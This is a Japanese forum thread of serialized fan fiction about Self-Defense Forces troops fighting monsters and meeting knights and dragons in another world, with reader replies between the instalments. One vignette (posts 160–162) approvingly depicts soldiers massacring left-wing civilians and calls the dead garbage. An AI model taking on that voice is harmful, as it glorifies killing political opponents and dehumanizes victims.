「包囲をしようにも皆は腰が引けている様だな」
吉川は周りの部下を見て思う。89式を構えている腕が僅かに震え、唇は引きつり、目は大
きく開いてゴンブを凝視していた。1匹を倒したとは言え、ゴンズは恐るべき未知の敵だ。
慣れるにはまだ時間が短いのだ。
「ここは倒すより、宿営地から追い出す作戦で行こう」
吉川は配下の小隊長に無線で指示する。射撃で敵を外へと誘導せよと。
「こっちだ、こっちに来い」
道盛博三尉率いる第2小隊がゴンズの気を引くべく散発的な射撃をする。それにゴンズは
赤い目で睨んで第2小隊へ身体を向ける。
「良い子だ。こっちだぞ」
道盛は9ミリ拳銃をゴンズに向けながらそんな事を言う。余裕がある訳では無く、自身の不安
を打ち消す為に口が動く。
ゴンズは第2小隊に狙いを定めてゆっくりと近づこうとする。それは徐々に下がる第2小隊より
も早い歩みだ。
「第2小隊が危ないな。第1・第2・第3小隊射撃開始」
吉川の命令でゴンズの背後と両側面に展開した各小隊が連発で射撃を開始する。それにゴ
ンズが驚いて前へと逃げる格好になる。
「退避!」
第2小隊は血相を変えて逃げるゴンズを避ける為に左右へ散らばる。ゴンズは第2小隊に目も
くれずに走る。
「やり過ぎた。あれでは誘導出来ない」
吉川は舌打ちして後悔した。あの化け物がここまで驚くとは思わなかったからだ。


123 名前: エビチリ ◆NYKahXpmWk 2006/06/04(日) 17:02:07 ID:aBIqGBhK

レーベンスの防人たち 第2話(3)
「中隊長」
側にいた第1小隊の隊長である本名が吉川を呼ぶ。
「あの先には横山班がいます」
「では、横山班に牽制させる。外に追い出せ」
「了解」
本名は無線で横山班に指示する。
「あの野郎が来るのか…」
横山班に指示が届き横山二曹からゴンズが接近中であると藤田が知ると、それまで友人
を失った為に落ち込み沈んだ顔が重く憎悪に満ちた表情に変わった。
「倒すんじゃない、外に追い出すんだ」
横山は念を押すように言った。
「ですが班長。倒せるのであれば倒すべきです。敵を放置しては危ないです」
藤田は異論を唱えた。横山は藤田が冷静さを失っている事を知っている。
「これは小隊長の命令だ。無理をするなと言ってるんだ」
「ですが…」
それでも意見をしようとする藤田に横山はこう言って意見を封じた。
「これは命令だ藤田一士」
明らかに高圧的な言い方で横山は藤田に命令する。
「…分かりました横山三曹」
藤田がしぶしぶ命令を承諾した時ゴンズの迫る地を蹴る音が聞こえる。
「射撃用意!」
横山は藤田との会話を止めて89式を構える。
「いいか。あの化け物が来たら地面を撃て」
横山はそう指示するが不安が大きい。藤田が言う事を聞くかどうか。
それは隣にいる桜井もだった。先輩である藤田が冷静では無いのは付いて行く新兵の
桜井にとっては心細い限りだ。
奇声と共にゴンズが横山班の前に現れた。
「撃て!」
横山の命令で89式とMINIMI の銃火がゴンズの足下の地面を抉る。

124 名前: エビチリ ◆NYKahXpmWk 2006/06/04(日) 17:03:24 ID:aBIqGBhK

レーベンスの防人たち 第2話 (4)
「くそ!この野郎!」
藤田はそう罵りながら89式をゴンズ手前の地面に向けて撃った。今は悔しさを口で叫び
地面に弾丸を撃ち込む事でぶつけていた。
この射撃が威嚇である事にゴンズは気づいた。
ゴンズには理由は分からないが吉川以下の人間達は己を倒そうとしてはいない。
腰の引けている敵ならば倒せる。ゴンズはそう算段する。
ゴンズは奇声で長く吼えると横山班へ突進する。
「散開!散れ!」
横山は咄嗟に命じた。隊員達は生存本能から既に身体は逃げる方向に動いていた。
「だから言わんこっちゃ無い」
藤田は逃げながら悪態をつく。
「倒せる時に倒さんからこうなる」
テントの影に隠れた藤田は89式を構え直す。ゴンズは横山班の隊員達を追い散らすと
嘲笑うかの様に低く鳴いている。
「なめてやがる」
藤田の表情は再び増悪に満ちる。
「藤田さん」
藤田の背後から声が。桜井だ。桜井は藤田の後を追って逃げて来たのだ。
「いたのか桜井」
「ええ、こらからどうするんです?」
「あいつを殺る。お前と一緒にな」
藤田の命令に桜井は少し遅れて「はい」と答えた。
それから藤田はゴンズに近づくべく腰を低くしながら前進した。桜井も同じく続く。


125 名前: エビチリ ◆NYKahXpmWk 2006/06/04(日) 17:04:33 ID:aBIqGBhK

レーベンスの防人たち 第2話(5)
横山は3人の隊員を掌握してゴンズと対峙していた。横山と3人は89式とMINIMI を
構えて睨む。ゴンズも赤い目を細めて横山達を睨む。
(これは蛇に睨まれたカエルてものか?)
横山は自嘲する。射撃を加えればいいものを、銃を構えたまま固まっているでは無いか。
このままでは埒が無い。横山は決断する。
「射撃用意」
と低い声で命じる。隊員達は引き金に指をかける。
「撃て」と横山の口から出ようとした寸前に別の方向から射撃音が響く。密かにゴンズへ接
近した藤田と桜井の射撃だ。
ゴンズは驚いた様に短く鳴いて後ろに下がる。だが、ゴンズの腹には1発だけ当たり、紫
色の血が滴り落ちる。
「奴は手負いだ。撃て!」
横山は命じた。3人の隊員は一斉にゴンズへ射撃を始める。
だがゴンズは血を流しながらも左右に素早く動いて銃撃をかわした。
「くそ、手負いだから逆にしぶとくなったか!」
横山は地団駄を踏んだ。

126 名前: エビチリ ◆NYKahXpmWk 2006/06/04(日) 17:05:41 ID:aBIqGBhK

レーベンスの防人たち 第2話(6)
藤田と横山は1回銃撃し終えると近くにあった73式小型トラックの影に隠れて
ゴンズの様子を見る。
「なんて野郎だ。腹に1発喰らっているのに」
腹から紫の血を垂れ流しながらも衰えを見せないゴンズに藤田は驚嘆する。
「もう一撃だ。桜井行くぞ!」
藤田は立ち上がって89式を構える。桜井も自棄になって「はい!」と答えて同じく
構える。
しかし、この動きをゴンズは察知した。赤い目が回るように動いて藤田と桜井を捉え
る。
「死ねやあ!」
藤田が叫びながら89式を連射する。桜井も意味不明な言葉を叫んで89式を連射し
た。
「あ、くそ!」
藤田は悔しがる。ゴンズは左に動いて銃撃を避けた。そして今度は藤田と桜井を横か
ら襲おうとゴンズは構えた。
「あっ、わわわ」
桜井は狼狽えてしまった。藤田も手持ちの弾が無くなって立ち尽くす。どうやら横山班
の全員が弾が無くなったらしい、時折「班長弾がありません」と叫ぶ声がある。
(こうなったら銃剣で)
藤田は腰にベルトから下げている89式に装着する銃剣を使ってゴンズと戦おうとした。
「撃て!撃て!」
そこへ藤田の背後から命令する声が飛ぶ。次いで銃撃が飛んで来た。
「中隊長」
吉川が率いる第2中隊主力だ。
「状況は?」
吉川は藤田に聞く。

127 名前: エビチリ ◆NYKahXpmWk 2006/06/04(日) 17:06:58 ID:aBIqGBhK

レーベンスの防人たち 第2話(7)
「あの1匹が我々の威嚇射撃の意図に気づいて反撃。班の隊員はバラバラになりました」
「そうか…やはり倒すしかないな」
吉川はそう言うと9ミリ拳銃をゴンズへ指す様に向けて中隊に指示を下す。
「中隊は全力であの化け物を倒す!撃て!」
中隊が持つ全火力。9ミリ拳銃に89式小銃・MINIMI 機関銃が1匹のゴンズへ向けて放
たれる。しかし、吉川は見た。射撃の瞬間にゴンズが飛び上がった事を。
「またか!」
吉川は上空を見上げた。そこには紫の血を空に散布しながら跳ぶゴンズの姿があった。
至近ではあいつは何処に落ちるかは分からない。吉川は散開を命じる。
吉川は逃げながら見た。ゴンズが赤い目を見開いて口を大きく開いて牙をさらけ出す。これ
を見て吉川はゴンズが死ぬ前に何としても人間を一人でも道連れにしようとしている事に気
づいた。
(逃げてくれ!皆!)
落下する敵を銃では食い止められない。吉川は隊員が少しでもゴンズの落下地点から遠く
に逃げる事を願った。
その時、ゴンズが鳴いた。それは長く響いた。
吉川は目を疑った。甲冑を着た人間が剣でゴンズの右足を斬ったのだ。その斬撃のせいか
ゴンズは隊員達の所には落ちずに甲冑の人の前で落ちた。
ゴンズは片足を失いながらも左足で立ち上がろうとする。
甲冑の人は剣を構え直してゴンズに止めを刺そうとする。そこへエンジン音が近づく。そし
て89式やMINIMI とは違う銃声が響いた。
その銃声は戦車からだった。74式とは違う角張った砲塔の戦車が車体前面に装備してい
る機関銃で接近しながらゴンズを攻撃している。
銃撃はゴンズの身体を再び地面へ叩き付けた。また長く鳴いたゴンズは今度は息の根を
止められた。

128 名前: エビチリ ◆NYKahXpmWk 2006/06/04(日) 17:08:28 ID:aBIqGBhK

レーベンスの防人たち 第2話 (8)
(女だと?)
吉川は甲冑の人をよく見た。そこには短い黒髪の女だった。吉川は正直に「これは
何だ?」と感じた。この状況で女性自衛官が日本から持ち込んだ衣装で女騎士に
扮装している訳が無い。では、これは誰だ?と。
更に吉川の前に「これは何だ?」と思わせるものが現れた。ゴンズに止めを刺した戦車
だ。74式とは明らかに違う角張った砲塔をした戦車、旧陸軍の三式中戦車と砲塔の上で
座っている金髪の甲冑少女がいた。
吉川は困惑の度を増した。化け物に次いで甲冑を着込んだ女に旧軍の戦車だ。どう繋が
りがあるか吉川には想像が出来なかった。
だが、指揮官として状況を進んで把握しなければならない。そこで吉川は短い黒髪の甲冑
女に話しかけた。
「貴方は誰だ?」
吉川は丁寧に言った。そうすると甲冑女は振り向いて言った。
「 私はレーベンス王国近衛騎士団のメイア・ジョーイズです」
つい、さっき高倉に言ったのと同じ事をメイアは言った。
「王国騎士団?」
吉川はまるで次元の違う話だと思った。吉川がいる現代世界には王国を名乗る国家や騎士
団と言う組織を聞いた事が無い。あっても昔の話にしか聞こえない。
「こちらも名乗ったのだ。貴方の名は?」
メイアが聞き返す。
「私は日本国陸上自衛隊第46戦闘団第2中隊長、吉川克也一等陸尉です」
今度はメイアが次元の違う話だと感じたが、そのカルチャーショックは意外にも短い。
「日本の方ですか」
メイアがそう言うと吉川は疑問に思う。何故、日本を知っているのか。
「そなたも日本人か」
三式の砲塔で立ち上がった。金髪の少女が嬉々として言った。
「吉川殿。こちらは レーベンス王国王女ゼント公ソフィー王女であります」
すかさずメイアが吉川に紹介する。

129 名前: エビチリ ◆NYKahXpmWk 2006/06/04(日) 17:09:23 ID:aBIqGBhK

レーベンスの防人たち 第2話 (9)
「おっ、王女!?。」
吉川は驚きつつも頭を下げて礼をする。それにメイアはこの男は高倉とは違うなと思った。
「恐縮するでない。私は嬉しいのだ」
ソフィーはにんまりと笑って吉川に言った。
「そう言えば、そなたはキッカワと申したな」
ソフィーは思い出した様に言う。
「ここにも同じ名の者がおるぞ、キッカワ、出て来て」
ソフィーは三式のキューポラの扉を叩いて呼んだ。すると中からカーキ色の旧陸軍の戦闘服
を着た将校が現れた。
「キッカワ。あそこにそなたと同じ名の者がおるぞ」
ソフィーが吉川を指して言った。その将校はにこやかな顔をして「それは奇遇ですな」と答えた。
そして将校は吉川に話しかける。
「私は大日本帝国陸軍大尉。吉川健二郎だ。ここで同じ日本人に出会えるとは嬉しい限りです
な」
その将校はそう名乗った。だが、名前を聞いた途端に吉川の表情は固まった。
「…まさか祖父が…」

(続く)

130 名前: 名無し三等兵 2006/06/04(日) 18:07:13 ID:???



面白いんだが第一話の内容を忘れてしまった、これから過去ログを漁ってくる。

131 名前: 名無し三等兵 2006/06/04(日) 18:16:54 ID:???

ちょっとゴンズが強すぎ巨体で弾が当たらん程速いとか無理あり過ぎ

132 名前: 名無し三等兵 2006/06/04(日) 19:29:38 ID:???

元1だおーはよ続き書け

133 名前: 名無し三等兵 2006/06/04(日) 19:57:35 ID:???

>>132
続きを欲する気持ちはわかるけど、急かすのはいかがなものかと。

134 名前: Wiki業務連絡 ◆ZYEMgbhZg2 2006/06/04(日) 20:02:58 ID:???

以下、敬称略。
<済>
星の国の勇者[ヨークタウン ◆r2Exln9QPQ]7〜18話で2話ほど抜けていたので全て再編集
アザーワールド・トゥルーパーズ[228]05話編集完了/06話・外伝1-長い夜-UP
<次回>
異世界シリーズ[228]01〜02話UP
星の国の勇者[ヨークタウン ◆r2Exln9QPQ]19〜20話UP
<備考・業務連絡>
星国の抜け指摘感謝。
今後も有志によるご協力、よろしくお願いします。

当分は星国と228氏作品の二本立てで更新予定。
※228氏=保管庫227氏

135 名前: 椋鳥 ◆ZYEMgbhZg2 2006/06/04(日) 20:03:33 ID:???

>>132
経験則から言うと、作者を急かして良い事は一つも無い。
時間が掛かって良いから、自信を持って投稿できるモノを書いて欲しい。
以上、ある小説で四年間続きを待たされた1読者より。

136 名前: 名無し特務曹長 ◆PpFoUMU1wU 2006/06/04(日) 20:59:33 ID:???

すげぇひとばっかだなぁ・・・
とか言いつつ俺の執筆は全然進んでないorz

なんとかしなきゃな

137 名前: 名無し四等水兵 2006/06/04(日) 21:44:31 ID:???

自分も一応書いております。

138 名前: 名無し三等兵 2006/06/04(日) 22:51:31 ID:???

すげえSSラッシュ。しかもクオリティ高い

139 名前: 椋鳥 ◆ZYEMgbhZg2 2006/06/04(日) 23:35:26 ID:???

>>136
あんまり思いつめて書くより、ボケっとしたり、退屈な時に妄想するとネタが出てくるそうな。
通勤電車から風景を眺めたり、田畑や農具をじっくり見たりとか。仕事中に妄想。
執筆じゃないが、計画作ったりする時はこれで捗ります。
>>138
一時期荒れた時はどうなる事かと思ったが、良かった良かった。

140 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/05(月) 00:18:31 ID:???

うーん、良SSがたくさんでいいなあ。
負けてられないですねー。

141 名前: 名無し三等兵 2006/06/05(月) 01:06:18 ID:???

元1だおーはよ続き書け

142 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/05(月) 01:41:27 ID:???

誰もいない | 柱 |_-)
投下するなら今のうち

書き下ろし投下。

143 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/05(月) 01:41:58 ID:???

平成15年8月24日10時
シュレジエン方面隊駐留地 シュレジエン

 たとえ、前線にあっても非番というものは存在する。
いな、前線であるがゆえに隊員たちの疲労を少しでも回復するのに非番はなくてはならないものだった。
 そうはいっても、自衛隊である以上、作戦行動を起こす時などは非番を取り消されるのだが。
だが作戦行動を起こしていないのなら、非番は必要不可欠だという事である。

 だから、葛重秋良三等陸尉が外出したのは、非番を与えられたからだった。
 何をするでもなくまわりの風景をみながら歩いていくと、小高い丘が見えてくる。
ゆっくりとした傾斜で道が丘まで伸びいているようだった。
2人分くらいの幅がある道を、葛重三尉は道の両側に生えている草に目をやりつつ登っていくと、丘の向こう側あたりに
何か人の気配がする。

144 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/05(月) 01:42:29 ID:???

 ああ、向こう側には確か竜騎兵の連中がいると聞いたけど。

 そう思いつつ歩を進めると、三尉の予測が外れる事なく竜とその乗り手たちの姿が見えた。
おそらく自衛隊側から貸与されたのだろうと思しき天幕が、間隔をあけてだが立ち並んでいる。
そしてその隙間を埋めるかのように、竜たちの姿やその傍らでは世話をしている乗り手たちの姿もある。
 そんな情況を視野に入れながら視線を動かすと、その中の一部分に幾人かが集まっているのが視界に入り、そしてその時に、
その集団の中の一人の顔が横を向いた。

 その横顔に葛重三尉は見覚えがあった。
 あれは西原かな?それで彼らが何をしているのか気になり、傍に近寄ろうと向きを変えて歩み寄ると、誰かが近づいてくる
のに気づいたのだろう、幾人かが三尉に視線を向けた。

145 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/05(月) 01:43:35 ID:???

 三尉が想ったとおり、彼の小隊の仲間である西原と小川原の姿が混じっていた。それと少女とおぼしき女性がその中にあった。
その少女に三尉は見覚えがあった。
確か、レスティンと言ったかな?どうやら、その娘の方も彼に見覚えがあるらしく、思い出そうとしているような素振りをし
ている。

「あ、小隊長。おはようございます」
 そう言って、軽く辞儀をしたのは小川原武雄の方だった。それにつられるかのように西原も軽く頭を下げてくる。
挨拶を返した三尉に西原が話しを振った。

「三尉も竜の見学にこられたんですか?」
「いや、ただ散歩してたら、君たちの姿が見えたので、近づいただけなんだ」
「そうですかぁ。てっきり、小隊長も竜を観察するのかと思ったんですが」
「何が竜の観察だ。お前の場合、竜をダシに女の子に近づこうとしているだけだろう」
 その言葉に、西原は情けない声を出す。なんでそう考えるんだよ。
そんな西原の姿に、その場の人間たちが笑いをこぼす。

146 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/05(月) 01:44:38 ID:???

「それで何をしているんだ?」
「今まで竜などと言う存在などありもしなかったですからね、それもあって、竜を間近に見るのとどうやって乗るのかなど聞
いていたんです」
「こんな巨体がどうやって浮くのかというのも興味ありますし」
 小川原の後に続けて西原が言うと、小川原は不審そうに西原をねめつけた。どうせ女の子目当てだろうとでも言いたげであ
る。
そんなやり取りの中、三尉の顔を思い出そうと未だに考えている様子の娘に、葛重は声をかけた。
「よろしく。葛重、葛重秋良だ」
「あ、わたしはレスティン・ファタルっていいます」
 レスティンはそう言うと、ぺこりと頭を下げる。

「で、隊長。竜って、飛ぶときは魔力を使うらしいんですよ!?凄いっす」
「さっきも聞いたぞ、その言葉」
 感激したかのような声を出した西原に小川原が冷たくあしらう。
「冷たいな〜。」
 ぼりぼりと頭を掻く西原の姿に、レスティンが思わず笑みを顔に浮かべた。

147 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/05(月) 01:45:11 ID:???

「魔法って、あなた方は持ってないんですよね?」
「もっていないな。魔法を信じるものなど子供ぐらいなものだろう」
 素っ気無くその問いに応じる小川原を見て、三尉は彼らしいなと思う。
「なあ、レスティンさんも竜に乗ったりするの?」
「ううん、乗せてもらうのよ」
「というと、後ろに乗ったりするの?2人乗りってできるもんなのかな?」
 首を捻って悩む西原をみて、どうやら彼が思い違いをしている事に気づき、かぶりを振って付け加える。
「わたしがペドラザ――あ、わたしの相棒の竜の名前です――の背に乗せてもらうんです。わたしだけじゃなくて、みんな竜
の背に乗せてもらうの。他の人が乗ろうとして、振り落とされるぐらいで済むのはましな方。竜たちは操ろうとして操れるも
のじゃないよ」
「飼いならす訳じゃないんだ」
「違うよ、竜は家畜なんかじゃないからね」
「じゃあなんで、こんなに竜がいるんだろ」
 西原の疑問は葛重三尉も同じだったし、西原が尋ねるまで王都退却戦の最中でそこまで疑問が浮かばなかったし、疑問に思
うような余裕がなかったからでもある。

148 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/05(月) 01:45:59 ID:???

「竜に出会う人が少なくないからよ。わたしもそうだったから。ある日唐突に出会ったりするの。それでどうしようもなくって、
軍に入る人が多いわけよ」
 レスティンはそう言って、その顔に複雑な表情を浮かべる。
彼女が言うには、竜と出会ったとしても、そうそうウマが合うわけでもないらしく、機嫌が悪ければ無視されるか最悪殺され
る場合もあるらしかった。
 竜に、人間たちの倫理観を求める事自体が無意味なのだ。
竜が自らの背中に乗せるという事は、その人間に対して無条件の信頼と好意をもっているという事らしかった。
そんな訳だから、自らが好意を寄せる人間の下に近寄るのはいいとして、困るのはそれが町にいたりするときに空から降りて
くると大変な事になると、レスティンが教えた。
 だから好きとか嫌いとかではなく、どうしようもないから軍に入るかそれとも人里離れるか、そのどちらかないの。
 そう言ってレスティンは、乾いた笑みを浮かべる。
「でも、今ではペドラザとは、互いに何考えてるかわずかだけど、判るから大変じゃなくなったから」

「なあ、その君の相棒の竜――ペドラザだっけか、合わせてくれないかな」
 西原がレスティンに拝むように頼むと、彼女は少し笑って快諾した。

149 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/05(月) 01:47:54 ID:???

あ、題名を書き忘れてた (´・ω・`)
当然ですけど、「日本異邦戦記」の更新でつ (´・ω・`)ショボーン

つかの間の休息といった所かな

150 名前: 名無し三等兵 2006/06/05(月) 02:06:57 ID:tOazdQah

乙華麗ですた。

151 名前: 黒メノウの落日 2006/06/05(月) 02:13:46 ID:???

壁l∀゚) ・・・♪
でわでわ私もコソーリ更新。 >>110-113 の続きでふ。

152 名前: 黒メノウの落日 2006/06/05(月) 02:15:07 ID:???

やられた、と思った。

今井は、目の前の現象が、信じられなかった。
こんな混乱の最中だからといって、これ程の巨体と猛威に今まで気付かない???
今井の顎の位置にある鬼の膝が、まるでコンクリの壁のように、無慈悲だ。
「鬼がホンの少し膝を蹴り上げて、人1人をミンチにする」そんな最期の「 瞬 間 」

今井は、
折角手に入れた望みの品(槍)を、無意識に捨てていた。
ほんの一瞬後に訪れる「最期」を拒否して、剣を抜刀する。
不思議な事だが、こんな、「土壇場の土壇場」では、
剣よりも最高に、最高に丈夫な短剣の方が、欲しくて堪らない。
しかし今は、この剣しか頼れる物が無い。

− 今井の剣が2cm程も鞘走った。

(・・・・・・?)

「鬼」の様子が、・・・おかしい。

最低でも3m、もしかすると4mを超えていたのかもしれない「鬼」は、
今、正に「殺そう」としていた「ちっぽけな二本足」なぞ・・見ちゃいなかった。
「鬼」は、ゾッとするような憤懣で歪みに歪んだその顔を、
「鬼」の背後4m程に横たわっている栗毛の馬の死体に向けていた。
「鬼」の両手から、黒馬の両足が、音もなく地面にズリ落ちた。

153 名前: 黒メノウの落日 2006/06/05(月) 02:17:34 ID:???

黒馬の体が地面に横倒しになって、ようやく気がついた事があった。
黒馬の首は、地面にめり込んでいたのではなかった。
黒馬自身の、胴体にめりこむように押し潰れていた。
(・・このサイズの馬って何百Kg だったっけ?)
場違いな思いに囚われながら、想像する。
恐らく、コイツ(鬼)は、
「ここ数年来の改心の1撃」を、俺に見舞っていた。
人喰い鬼らしい獰猛な歓喜に満ちながら。
しかし、「貧弱な二本足」への「思いっきりの殴打」の歓喜の余り、
今は鬼の背後に転がっている栗毛に足をひっかけて・・今、怒・・

「鬼」が叫んだ。

耳を塞ぎたいような、なんという、なんという下品な「 轟 音 」
猛烈な勢いで馬が蹴り飛ばされて、馬の頭部の1部が何処かへ消し飛んでいく。
(ばっっっコイツ、敵も味方も関係無しかよ!!)
・・・・鬼の壮絶な地団太が始まった。
鎧武者を乗せて駆ける程の馬の巨体が、ただの血袋の様にペシャンコになってしまった。
「ーーーーーーーー!!!!!!!!」
こんな、こんな奴と武器無しで、相対した奴等の、恐怖。
今井の剣が、鬼の右アキレス腱に叩き込まる。
「??ああ?」と、何か予想外の衝撃を受けたかのように、鬼が振り返る。
そして左アキレスに、もう1撃。

「鬼」がようやく「状況」を理解して、
それからやっと痛みを「知覚」した・・らしい。
地面に倒れた「鬼」が、涙を流しながら猛烈に暴れだした。
それでも・・1対1なら、即座に視界をも奪いにかかる所だったが、
この時、何故か今井の本能が、地面でのた打ち回る鬼よりメチャメチャな悲鳴上げ始めた。
( やばい )
今井は、南に向かって、脱兎の如く駆け出した。

154 名前: 黒メノウの落日 2006/06/05(月) 02:22:42 ID:???

今井の直感は、的中した。
「鬼」の大地を震わす壮絶な「絶叫」に、
周囲100m内に存在する「鬼」達が一斉に反応、今井の方を向いた。
今井は今頃になってようやく、身近に「鬼」が幾体も存在していた事に気付いた。
最も、今井が「鬼」達の存在に気がつかないのも無理はなかったのだが。
要するに鬼達は殺戮よりも「目の前の食事に夢中」だったのだった。
( 奴等が、来る )
しかし、日々訓練を重ねている隊員達なら、いざしらず。
ただの一般人の今井の肺と足は、もう、限界を超えていた。
( 恐怖に震えながら死ぬ位なら、潔く自決した方がマシだ )
今井は覚悟を決めて、喉に剣を当てた。ー その時、・・奇跡が起きた。
今井と鬼との間に、自衛隊の装甲車が割って入ってきたのだった。
「乗れ!!!」「あんたわ!」
あの、化け物の様に化粧した男が、車の中から手を差し伸べている。
見れば、自衛隊の装甲車達が、次々に突撃してきている・・・・!
そして、装甲車やトラックの中から次々に精悍な隊員達が出てきて、
今だ生存している人達を回収しながら、猛烈な弾幕を浴びせ始めていた。
ー それから、数分後。
今井はトラックに移され、後方から、「あの男」と隊員達の活躍を見ている。
あの人喰い鬼ドモは、
今やその巨体が仇になって、真っ先に穴だらけにされてしまっていた。
・・今井が乗っているトラックの止まっている場所から更に後方は、
救出された重軽傷者で埋まり、足の踏み場も・・
いや、「救出された」、それ以上何を望むことがあるだろう。
そんな彼等に、警護に回された隊員達が、申し訳無さげに謝罪して回っている。
想像するに、
今まで別のエリアの救出で、手が回らなかっただけだろう。間違いない。
貴方達は、何も悪くない。
それに、少なくとも、私にとっては命の恩人・・・
隊長さんらしき人物が、今井の方にも声をかけにきたが、
今井は全身と両の手で「とんでもない」と全力で否定して、その頭を下げていた。

155 名前: 黒メノウの落日 2006/06/05(月) 02:32:29 ID:???

っと、投下終了でふ。
自衛隊の日常・装備・威力などなどに対して一般人の悲しさ、
皆様の様に描写するの無理無理ですので、
このまま一般市民の目を通した三軍激突とあいなりますです。m()m

156 名前: 名無し三等兵 2006/06/05(月) 02:42:33 ID:???

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157 名前: 名無し三等兵 2006/06/05(月) 02:52:38 ID:???

誘導

創作文芸
http://book3.2ch.net/bun/
ライトノベル
http://book3.2ch.net/magazin/


158 名前: 名無し三等兵 2006/06/05(月) 06:15:34 ID:PLpFF6js

遅レスですが、エビチリ氏投下乙です。

ゴンズ強いのは緊迫感あって良いのだが、
あまりに高くジャンプするとただの的ではなかろうか。

159 名前: 名無し三等兵 2006/06/05(月) 06:24:05 ID:???

>>142-149
>>151-155
乙です。

160 名前: 小官 ◆qG4oodN0QY 2006/06/05(月) 19:39:29 ID:???

 「この犬が! 政府の走狗が! 」
 「俺達は為政者の道具に過ぎん。唯の道具に思考が要るか? 俺達は消耗品なんだ」
 「そしてそれに大いなる誇りを抱いている、な」

 此処、異世界に毒電波を撒き散らした左派どもを一掃するため、陸自は市街の殲滅を
決定した。…身分支配が罷り通る世界には、奴らの語る平等思想は劇薬そのものなのだ。
平等を語るには、相手の思想的成長と物理的試行錯誤を有る程度待たねばならぬものだ。
 それを最初から与えようものなら、相手の成長にとっては無修正ポルノ並みの露悪主義
に過ぎん。思想を根付かせるなら、英知を獲得させるなら…見守らねばならぬ時が存在する。

 「貴様等は教条的に過ぎたんだよ。流血と虐殺は人間の宿命だ。避けられぬ道だ」
 「煩い! 人間の命を何だと思っているんだ! 」
 「言っただろ? 」

 5.56oが轟音とともに純粋真直素直君を馬鹿な人間からただの物体へと変えて行った。
ただ逃げ惑い、この世界の人間を醜く盾にしようとする仲間達も同様に、粗大生ゴミへと。
放たれた銃弾は相手が誰であろうと差別はしない。奴らの信条で行けば、人間よりも慈愛に
満ちているに違いない。

 「消耗品なんだよ」

 明日へと命を繋ぐ消耗品。せめてより良い命を残す為に、摘み取らねばならぬ芽も有る。
汚れるのには慣れている。洗い流せぬ罪を背負い、それでも明日の為に、俺達は小銃を撃つ。
 明日を迎える資格のある人間達のために。俺達を悪であると裁くだろう人間のために。

161 名前: 小官 ◆qG4oodN0QY 2006/06/05(月) 19:49:07 ID:???

兵士は常に考える。何も考えていないワケでは無い。
しかし命令は神なのだ。兵士が兵士であるためには何よりも大切なものだ。
兵士は与えられた命令の中で、自ら為す事が可能で有る事を考える。
命令に『自由度』が有る場合は幸いである。兵士は天使にも成れるだろう。
しかし命令に他の解釈のしようの無い、『自由度』が無い命令の場合…!

         兵士は地獄の悪鬼と化すのだ。

 現代の軍を使う者は高い倫理観と道徳を必ず持たねばならぬ。さもなくば、
軍はシステマチックに虐殺を行う集団と化してしまうのだ。…ここのSSに
小官はその描写を期待する。小官は兵士の倫理観ならば語れる。命令に全ての
責を負わせるのは簡単だ。しかし、必ずしもそうでは無いのだ。

162 名前: 小官 ◆qG4oodN0QY 2006/06/05(月) 19:53:09 ID:???

命令が無い場合? …それは最早、軍事組織の体裁は無い。個人の良識に委ねられる。
しかし、複数の人間は集団を創生する。指示命令は無くならぬものだよ。ウム。

163 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/05(月) 20:00:19 ID:???

あいかわらず切れますね小官殿♪w
そちらのお天気具合は如何っすか?

164 名前: 小官 ◆qG4oodN0QY 2006/06/05(月) 20:04:36 ID:???

熱いね。それに忙しい。
命令が有る以上、背く事は許されんのが兵士の常だ。
しかし、命令遂行の範疇ならOKだ。

 敵を殲滅せよ、で敵が具体的に書かれて居なかったら?
敵じゃなきゃ見逃してもOKが成り立つのがその解釈だ。

SSに巧く使ってくれたら嬉しいね。自衛隊員は実は好漢が多いのだ。

165 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/05(月) 20:11:04 ID:???

それ、ソレなんっすよ。全く小官殿が羨ましい。
好意はあれど、私らが身近に接する人物といえば親戚や仕事でたまたまた、
元自だった方々と、はぁ。orz。

正直、降臨お待ちしていましたですよ。

166 名前: 小官 ◆qG4oodN0QY 2006/06/05(月) 20:23:01 ID:???

 蛇蝎の如く嫌われて、スレ追放寸前、の間違いでは無いかね(苦笑)?

 まあ、苦い事言わなければいいのだが、老婆心と言う奴はとかく要らぬ
お節介を焼きたがるものでね。苦言癖とでも言えば良いのかな、ウム。

 そう、『優れた』自衛隊員は優しい。それはそれなりの苦労をして来たからだ。
人間とその関係こそが組織の骨幹で有る事を身に沁みて居るからだ。それを
理解せん奴は…哀しい奴だ。それは娑婆の世界でも言える。

     情けは人のためならず(自分のために掛けるもの)

 だ。因果は巡るよどこまでも。…小官はその御蔭でこの板に長編投稿不可と
相成った。のうのうと顔を出せるだけまだ良しとしなければ…ね? 遣り切れんさ。

167 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/05(月) 20:27:01 ID:???

(なお当方の空は半月ばかり雨でございますです)ご縁のあった、極少数の人達は、
「エ〇ア88が好きだ」ったり、〇〇に憧れて△△に来ましたーとか、
ほんと、フツーの良い方々なんですよ。御客様達も折り目正しい方ばかしでしたし。
しかし、隊経験ありませぬので、私では生き生きとした描写が出来ませぬ。

小官殿やここの職人の方々の作品は、本当に勉強になりますでありますよ。

168 名前: 小官 ◆qG4oodN0QY 2006/06/05(月) 20:30:43 ID:???

文を書く者へ。声に出して読んで、推敲せよ。
筆のノリで書いても良いが、リズム感が重要だ。
小官の文章に句読点が多いのはその為でもある。

スタイルを確立したならば惑うな。ただ、読み易いかに気を付けよ。
地の文と台詞を区別すると読み易くなるぞ? あと、適度な改行も。

自分が気持ちよい、の次は、相手も気持ちよいか? が上達のコツだ。
人に自分の真意を伝えるには相手の心情も推し量れなければ、な?

その全てを解って馬鹿と酔狂を振る舞うのは、きっと狂気の沙汰だろうがね。

169 名前: 小官 ◆qG4oodN0QY 2006/06/05(月) 20:36:48 ID:???

>>167

